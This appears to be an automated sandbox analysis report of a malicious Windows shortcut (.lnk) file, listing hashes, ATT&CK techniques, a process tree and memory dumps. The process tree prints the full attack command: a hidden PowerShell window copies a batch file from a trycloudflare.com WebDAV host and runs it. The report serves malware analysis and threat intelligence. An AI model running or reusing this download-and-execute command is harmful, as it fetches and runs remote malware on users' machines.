faa07de0cff3dcc6655b76d879b2585c6908f72d77b03bed64d0dcb5297e2ece

Analysis

max time kernel
95s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20/11/2024, 03:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

faa07de0cff3dcc6655b76d879b2585c6908f72d77b03bed64d0dcb5297e2ece.lnk
Size

2KB
MD5

c0b33dfd76112f507b96128a124a2381
SHA1

3295c8f46cd7461db034bb9e29193461f40f63af
SHA256

faa07de0cff3dcc6655b76d879b2585c6908f72d77b03bed64d0dcb5297e2ece
SHA512

a3533c43aa218623ff6cafe44ed32105acbf51804d4bdf3aaf63b56ef0f5b5028dda7cc453428eacfd70e4217c21107e7ce7411b1db15fc8205a6c0ef02b9eab

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4940	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4940	powershell.exe
4940	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4940	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3652 wrote to memory of 4940	3652	cmd.exe	84
PID 3652 wrote to memory of 4940	3652	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\faa07de0cff3dcc6655b76d879b2585c6908f72d77b03bed64d0dcb5297e2ece.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "Copy-Item '\\louise-monitors-mo-rating.trycloudflare.com@SSL\DavWWWRoot\bas.bat' \"$env:USERPROFILE\Downloads\"; Start-Process \"$env:USERPROFILE\Downloads\bas.bat\" -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ug4ckabw.kao.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4940-2-0x00007FF865093000-0x00007FF865095000-memory.dmp

Filesize
8KB

Download
memory/4940-12-0x000001C948A10000-0x000001C948A32000-memory.dmp

Filesize
136KB

Download
memory/4940-13-0x00007FF865090000-0x00007FF865B51000-memory.dmp

Filesize
10.8MB

Download
memory/4940-14-0x00007FF865090000-0x00007FF865B51000-memory.dmp

Filesize
10.8MB

Download
memory/4940-15-0x00007FF865090000-0x00007FF865B51000-memory.dmp

Filesize
10.8MB

Download
memory/4940-18-0x00007FF865090000-0x00007FF865B51000-memory.dmp

Filesize
10.8MB

Download